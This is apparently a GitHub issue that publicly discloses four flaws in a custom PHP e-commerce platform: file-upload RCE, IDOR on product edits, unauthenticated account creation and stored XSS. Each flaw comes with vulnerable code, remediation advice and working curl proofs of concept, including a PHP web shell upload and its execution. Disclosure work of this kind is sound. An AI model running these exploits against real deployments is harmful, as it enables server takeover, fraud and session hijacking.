[Security] Critical Vulnerabilities Identified (RCE, IDOR)

[Nixon-H]

Greetings,

I have identified multiple critical security vulnerabilities in this application, including unauthenticated Remote Code Execution (RCE) and Authentication Bypass.

I have attempted to contact the maintainer via email (ayondip***@gmail.com and ayondip@dev*******.com) to disclose these issues privately.

This issue is opened to track the disclosure process.

Disclosure Timeline:

• Initial Contact: December 16, 2025 (Emails sent).
• Public Disclosure Date: December 23, 2025 (If no response is received).

In accordance with standard responsible disclosure guidelines, if I do not receive a response by December 23, 2025, I will proceed with public disclosure and a CVE request to ensure the community is aware of this risk."

Regards,
Nixon-H

[Nixon-H]

Disclosure Timeline Update:

• December 16, 2025: Initial contact attempted via email and this GitHub issue.
• December 23, 2025: Disclosure deadline passed. No response received from the maintainer.
• December 26, 2025: Proceeding with full disclosure in accordance with standard responsible disclosure guidelines to warn the community.

---

Complete Vulnerability Report

Target Application: E-Commerce Platform (Custom PHP)
Date: December 26, 2025
Reporter: Nixon-H (Security Researcher)

Executive Summary

A comprehensive security assessment was performed on the local instance of the E-commerce application. The assessment identified four Critical and High-severity vulnerabilities stemming from systemic flaws in input validation, session management, and access control implementation.

The most critical finding is an Unrestricted File Upload vulnerability that allows unauthenticated remote attackers to upload executable PHP scripts, leading to Remote Code Execution (RCE) and complete server compromise. Additionally, Insecure Direct Object References (IDOR) were identified in core business logic, allowing for unauthorized product deletion and price manipulation. Broken Access Control flaws exist in the administrative backend, permitting the creation of privileged accounts without authentication. Finally, Stored Cross-Site Scripting (XSS) was discovered, allowing attackers to inject malicious scripts that execute in the context of administrator sessions.

---

Vulnerability 1: Unrestricted File Upload leading to Remote Code Execution (RCE)

Severity: CRITICAL (10.0)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Bug Type: CWE-434: Unrestricted Upload of File with Dangerous Type

Detailed Description

The application fails to enforce secure validation mechanisms on file uploads within the seller profile section. The vulnerability exists due to a chain of logic errors that allow an attacker to bypass intended restrictions:

1. Improper MIME Type Validation: The application relies exclusively on the Content-Type HTTP header ($_FILES['file']['type']) to validate the file type. This header is client-controlled and can be arbitrarily modified by an attacker to impersonate a legitimate image (e.g., image/jpeg). The server does not perform server-side content verification (such as "Magic Bytes" analysis).
2. Insecure Filename Generation: While the application attempts to rename uploaded files to randomize them, it constructs the new filename using the extension of the original uploaded file (end($temp)). It does not verify if this extension is safe for execution.

Consequently, an attacker can upload a file containing malicious PHP code (e.g., a web shell) with a .php extension. The server will accept the file because the MIME type is spoofed, rename it while preserving the .php extension, and store it in a web-accessible directory (/media/seller_profile/). When accessed via a browser, the web server executes the malicious PHP code, granting the attacker full control.

Vulnerable Files

• seller/assets/backend/profile/addadhar.php
• seller/assets/backend/profile/addpan.php
• seller/assets/backend/profile/addgstcfrt.php
• seller/assets/backend/profile/addbscfrt.php

Vulnerable Code Analysis

File: seller/assets/backend/profile/addadhar.php

// FLAW 1: The code trusts the user-supplied MIME type from the HTTP header.
// An attacker can send a PHP file but set the header to 'image/jpeg' to bypass this.
if($_FILES['file']['type']!='' && $_FILES['file']['type']!='image/jpeg' ...){
    $msg="Format... Not supported";
}else{
    // FLAW 2: The code extracts the extension from the user-supplied filename.
    // If the file is 'shell.php', end($temp) returns 'php'.
    $temp = explode(".", $_FILES["file"]["name"]);
    
    // The new filename is constructed using the dangerous '.php' extension.
    $filename = rand(111111111,999999999)... . '.' . end($temp); 
    $location = "../../../../media/seller_profile/".$filename;
    
    // FLAW 3: The file is moved to a public directory without checking if the user 
    // is authenticated or authorized to upload files.
    if(move_uploaded_file($_FILES['file']['tmp_name'],$location))
    {
        echo $filename;
    }
}

Exploit Proof of Concept (PoC)

Exploit Command:
The following curl command uploads a file named shell.php containing <?php system($_GET["cmd"]); ?> but forces the Content-Type to image/jpeg to bypass the check.

curl -X POST \
  -F "file=@shell.php;type=image/jpeg" \
  "http://localhost:3000/seller/assets/backend/profile/addadhar.php"

Output (Server Response):
The server successfully processes the upload and returns the name of the stored PHP file.

7022559291765829052.php

Execution Command:
The attacker accesses the uploaded file to execute the system command id.

curl "http://localhost:3000/media/seller_profile/7022559291765829052.php?cmd=id"

Output (Execution Confirmation):

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Detailed Impact

• System Compromise: Attackers gain a shell on the web server (www-data), allowing them to navigate the file system and execute system binaries.
• Data Breach: Attackers can read sensitive system files (e.g., /etc/passwd), configuration files (such as utility/connection.php), and extract database credentials.
• Persistence: Attackers can install backdoors, malware, or crypto-miners to maintain access even if the vulnerable file is deleted.

---

Vulnerability 2: Insecure Direct Object Reference (IDOR) - Critical Data Manipulation

Severity: HIGH (8.1)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Bug Type: CWE-639: Authorization Bypass Through User-Controlled Key

Detailed Description

The application suffers from Critical Insecure Direct Object Reference (IDOR) vulnerabilities in the product management modules. The SQL queries used for "Delete" and "Update" operations rely solely on the id parameter provided in the HTTP POST request to identify which record to modify.

Crucially, the backend code fails to verify if the record associated with that id belongs to the currently authenticated seller. Although the code retrieves the session user ID ($_SESSION['SELLER_ID']), it is never utilized in the WHERE clause of the SQL update/delete statement. This creates a "Horizontal Privilege Escalation" scenario where any authenticated seller can manipulate or delete products belonging to any other seller simply by iterating through sequential Product IDs.

Vulnerable Files

• seller/assets/backend/product/product_delete.php (Arbitrary Deletion)
• seller/assets/backend/product/updateproduct.php (Arbitrary Price/Content Manipulation)

Vulnerable Code Analysis

File: seller/assets/backend/product/updateproduct.php

// The input ID is sanitized against SQLi but not validated for ownership.
$id=get_safe_value($con,$_POST['id']);

// The logged-in seller's ID is retrieved but IGNORED in the logic below.
$added_by= $_SESSION['SELLER_ID']; 

// FLAW: The UPDATE query targets the row based ONLY on 'id'.
// There is no check like "AND seller_id = '$added_by'".
$qyery="update product set product_name='$name', price='$price'... where id='$id'";

if(mysqli_query($con,$qyery)){
    // ...
}

Exploit Proof of Concept (PoC)

Scenario: An attacker targets Product ID 10 (owned by a victim seller) and modifies its price to 1, its name to "HACKED", and its stock quantity.

Exploit Command:

curl -X POST \
  -H "Cookie: PHPSESSID=d14c5dd7d7b75b3665ec97ff405915b3" \
  -d "id=10" \
  -d "name=Iphone_15_Pro_Max_HACKED" \
  -d "price=1000" \
  -d "sellprice=1" \
  -d "quantity=10" \
  -d "category=1" \
  -d "subcat=1" \
  -d "description=Hacked_by_Nixon" \
  "http://localhost:3000/seller/assets/backend/product/updateproduct.php"

Output:
The JSON response confirms the successful modification of the victim's product.

{"code":1,"id":"10"}

Detailed Impact

• Financial Fraud: Attackers can drastically reduce prices of high-value items (e.g., to $0 or $1) and purchase them, causing direct financial loss to other sellers.
• Marketplace Defacement: Attackers can deface the platform by changing product names and descriptions to offensive content or spam.
• Denial of Service: Attackers can delete the entire product catalog of the platform by iterating through all possible IDs in a loop script.

---

Vulnerability 3: Broken Access Control (Unauthenticated Account Creation)

Severity: CRITICAL (9.8)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Bug Type: CWE-306: Missing Authentication for Critical Function

Detailed Description

The backend scripts responsible for creating new User and Seller accounts completely lack authentication or authorization checks. These files are directly accessible via HTTP requests (Admin/assets/backend/...).

The application architecture assumes that users will only access these files via the Admin Dashboard UI, which is protected by a login page. However, the backend processing scripts themselves do not verify if the request was initiated by an authenticated administrator. This allows an unauthenticated external attacker to create valid User and Seller accounts, bypassing any frontend approval workflows or registration closures.

Vulnerable Files

• Admin/assets/backend/seller/add_seller.php
• Admin/assets/backend/user/add_user.php

Vulnerable Code Analysis

File: Admin/assets/backend/seller/add_seller.php

require('../../../../utility/utility.php');

// FLAW: No session_start() is called to resume a session.
// FLAW: No check is performed to verify if $_SESSION['ADMIN_ID'] is set.
// The code proceeds directly to database insertion.

$email=get_safe_value($con,$_POST['email']);
$password=password_hash($pass, PASSWORD_DEFAULT);

// The attacker-supplied data is inserted directly into the 'sellers' table.
mysqli_query($con,"insert into sellers (password,mobile,email,status,is_new) values ('$password','$mobile','$email','1','1')");
echo 1;

Exploit Proof of Concept (PoC)

Exploit Command:
The attacker sends a direct POST request to the backend file to create a seller account with the status "Active" (1).

curl -X POST \
  -d "email=attacker@evil.com" \
  -d "pass=password123" \
  -d "mobile=0000000000" \
  "http://localhost:3000/Admin/assets/backend/seller/add_seller.php"

Output:

1

Detailed Impact

• Authorization Bypass: Attackers can create accounts even if public registration is disabled.
• Privilege Escalation: By creating a "Seller" account, the attacker gains access to the seller dashboard, which is a prerequisite for exploiting other vulnerabilities (such as the IDORs mentioned above).
• Spam/Fraud: Attackers can flood the database with fake accounts, degrading database performance and complicating user management.

---

Vulnerability 4: Stored Cross-Site Scripting (XSS)

Severity: HIGH (7.6)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Bug Type: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Detailed Description

The application contains a Stored Cross-Site Scripting (XSS) vulnerability due to insufficient input sanitization in the core utility functions. The function intended to clean inputs, get_safe_value(), only employs mysqli_real_escape_string. This function escapes characters for SQL queries (preventing SQL Injection) but does not encode HTML entities (such as < and >).

An attacker can use the previously identified IDOR vulnerability to inject malicious JavaScript payloads into product fields (such as product_name or description). This payload is stored in the database. When an administrator views the product list or approves products in the backend dashboard, the malicious script executes within the administrator's browser session.

Vulnerable Files

• Root Cause: utility/function.php (Insecure get_safe_value function)
• Injection Point: seller/assets/backend/product/updateproduct.php

Vulnerable Code Analysis

File: utility/function.php

function get_safe_value($con, $str)
{
    if ($str != '') {
        $str = trim($str);
        // FLAW: Only protects against SQL Injection.
        // Does NOT protect against XSS (e.g., does not use htmlspecialchars).
        return mysqli_real_escape_string($con, $str);
    }
}

Exploit Proof of Concept (PoC)

Exploit Command:
The attacker injects a JavaScript payload designed to alert a message (or steal cookies) into the Product Name field.

curl -X POST \
  -H "Cookie: PHPSESSID=[Session_ID]" \
  -d "id=10" \
  -d "name=<script>alert('XSS_ADMIN_TAKEOVER')</script>" \
  -d "price=1000" \
  -d "sellprice=1" \
  -d "quantity=10" \
  "http://localhost:3000/seller/assets/backend/product/updateproduct.php"

Execution Scenario:

1. Attacker executes the curl command.
2. Database stores Product Name as <script>alert('XSS_ADMIN_TAKEOVER')</script>.
3. Administrator logs in and visits the "Product Approval" page.
4. The browser renders the product list, encounters the <script> tag, and executes the alert.

Detailed Impact

• Session Hijacking: Attackers can inject scripts to steal the Administrator's PHPSESSID cookies (document.cookie), allowing full account takeover.
• Persistent Malware: The script executes every time the affected page is loaded, potentially re-infecting the admin or other users repeatedly.
• Phishing/Defacement: Attackers can rewrite the page content (DOM) to display fake login forms or misleading information.

---

Remediation Recommendations

1. Secure File Upload Implementation

To mitigate the RCE vulnerability, the following changes must be implemented in all upload scripts:

• Server-Side Validation: Do not use $_FILES['file']['type']. Use PHP's finfo_file or mime_content_type to inspect the file's actual binary content.

• Extension Whitelisting: Implement a strict whitelist of allowed extensions (e.g., ['jpg', 'jpeg', 'png']). Reject all others.

• Secure Renaming: Do not use the extension from the uploaded filename. Generate a new filename and append a hardcoded safe extension based on the detected MIME type.

• Bad: $ext = end(explode('.', $name));

• Good: $ext = 'jpg'; // After verifying it is a JPEG

• Execution Prevention: Configure the web server (Apache .htaccess or Nginx location block) to deny script execution in the /media/ directory.

2. Implement Access Control (IDOR Fix)

To mitigate IDOR, all database queries must include an ownership check. The SQL WHERE clause must bind the action to the currently logged-in user.

• Vulnerable: UPDATE product SET ... WHERE id = '$id'
• Secure: UPDATE product SET ... WHERE id = '$id' AND seller_id = '$_SESSION[SELLER_ID]'

3. Enforce Authentication on Backend Endpoints

To mitigate the Broken Access Control, every backend PHP file must verify the user's session state before processing any data. Add the following check at the very top of add_seller.php and add_user.php:

session_start();
if (!isset($_SESSION['IS_LOGIN_ADMIN']) || $_SESSION['IS_LOGIN_ADMIN'] !== "YES") {
    http_response_code(403);
    die("Unauthorized Access");
}

4. Implement Output Encoding (XSS Fix)

To mitigate XSS, data must be sanitized before being output to the browser.

• Update get_safe_value: While this function handles SQL injection, a separate step is needed for output.
• Output Encoding: When displaying data in HTML (e.g., in the Admin dashboard), always wrap variables in htmlspecialchars().
• Vulnerable: echo $row['product_name'];
• Secure: echo htmlspecialchars($row['product_name'], ENT_QUOTES, 'UTF-8');